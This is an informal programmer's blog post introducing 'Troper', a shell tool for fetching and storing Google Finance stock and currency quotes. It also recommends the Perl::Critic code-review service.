It's simple, I had no projects in my mind, expect ma exams.. lol :D, and so, I tried to do this ugly thing just as exercise!

Anyway I called this exercise Troper (oh what a gay name). Troper, can parse all the information from google/finance, and show the results in you're prefer shell, so It doesn't work with a graphic interface. You can save the currency and stock quotes also in a flat database compose by .brk files. Naturally you can remove, read and do something else with this files. As always for more information read the documentation or type --help.

You can find here the source code of Troper!

Here a simple picture:


Soooo, man have you notice the new name of this hilarious blog? I changed the bad and ugly name of the past with a new strong name!!! If you like it, (because you must like it), let me know in the comment form below!

Before finishing to see this porn video while I write, (just kiddin'), I would like to show you an amazing web service which evaluates you're Perl code and gives you many advices. I'm speaking about Perl::Critic, which is a Perl module, written also by Damian Conway (the guy who wrote Perl Best Practices). This is an amazing service because you can learn a lot of modern Perl style and see that some ways are better than others 
So check it out, you know, visit perlcritic.com!

9:12 AM by Shubham Mittal · 0